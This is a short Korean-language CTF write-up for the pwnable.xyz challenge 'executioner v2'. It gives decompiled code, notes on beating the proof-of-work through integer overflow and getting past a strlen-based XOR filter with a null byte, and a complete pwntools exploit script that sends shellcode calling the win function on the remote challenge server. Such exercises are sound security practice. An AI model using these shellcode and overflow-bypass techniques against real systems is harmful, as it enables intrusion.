[pwnable.xyz]executioner v2

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  _QWORD *v4; // rax
  __int64 v5; // rdx
  int i; // [rsp+0h] [rbp-20h]
  int fd; // [rsp+4h] [rbp-1Ch]

  setup(*&argc, argv, envp);
  solve_pow();
  puts("Shellcode executioner");
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("error");
    result = 1;
  }
  else
  {
    read(fd, key, 16uLL);
    close(fd);
    printf("Input: ", key);
    read(0, inpt, 16uLL);
    for ( i = 0; i < strlen(inpt); ++i )
      inpt[i] ^= key[i];
    v4 = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
    v5 = qword_202288;
    *v4 = *inpt;
    v4[1] = v5;
    (v4)(0LL, 0LL, v4, 0LL, 0LL, 0LL);
    result = 0;
  }
  return result;
}

전에 풀었던 문제랑 비슷한데 0이 필터링됐다.

unsigned __int64 solve_pow()
{
  unsigned int buf; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  int fd; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom");
    exit(1);
  }
  buf = 0;
  read(fd, &buf, 4uLL);
  close(fd);
  v2 = 0;
  v3 = 0;
  printf("POW: x + y == 0x%x\n", buf);
  printf("> ");
  if ( _isoc99_scanf("%u %u", &v2, &v3) != 2 || !v2 || !v3 )
  {
    puts("error");
    exit(1);
  }
  getchar();
  if ( v3 + v2 != buf )
  {
    puts("POW failed");
    exit(1);
  }
  puts("Loading challenge... ");
  sleep(v2 * v3);
  return __readfsqword(0x28u) ^ v5;
}

레지스터들을 초기화해준다.

   0x0000000000000e3f <+316>:	xor    rax,rax
   0x0000000000000e42 <+319>:	xor    rbx,rbx
   0x0000000000000e45 <+322>:	xor    rcx,rcx
   0x0000000000000e48 <+325>:	xor    rdx,rdx
   0x0000000000000e4b <+328>:	xor    rsi,rsi
   0x0000000000000e4e <+331>:	xor    rdi,rdi
   0x0000000000000e51 <+334>:	xor    r8,r8
   0x0000000000000e54 <+337>:	xor    r9,r9
   0x0000000000000e57 <+340>:	xor    r10,r10
   0x0000000000000e5a <+343>:	xor    r11,r11
   0x0000000000000e5d <+346>:	xor    r12,r12
   0x0000000000000e60 <+349>:	xor    r13,r13
   0x0000000000000e63 <+352>:	xor    r14,r14
   0x0000000000000e66 <+355>:	xor    r15,r15

solve_pow함수는 두개 곱한 값이 0이여야 sleep(0) 해줄거고 더한값도 urandom에서 뽑은 값과 같아야한다.

메모리매핑하고 실행권한주는데 쉘코딩하면 된다. win함수 주소 구해서 call해줬다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30028)

p.recvuntil('==')
buf = int(p.recvline().strip(),16)
log.info('buf : ' + str(buf))
p.sendlineafter('>',str(0x80000000+buf) + ' ' + str(0x80000000))

s='''
pop rax
sub ax, 0x2ce
call rax
'''
p.sendafter('Input: ','\x00\x02'+asm(s))

p.interactive()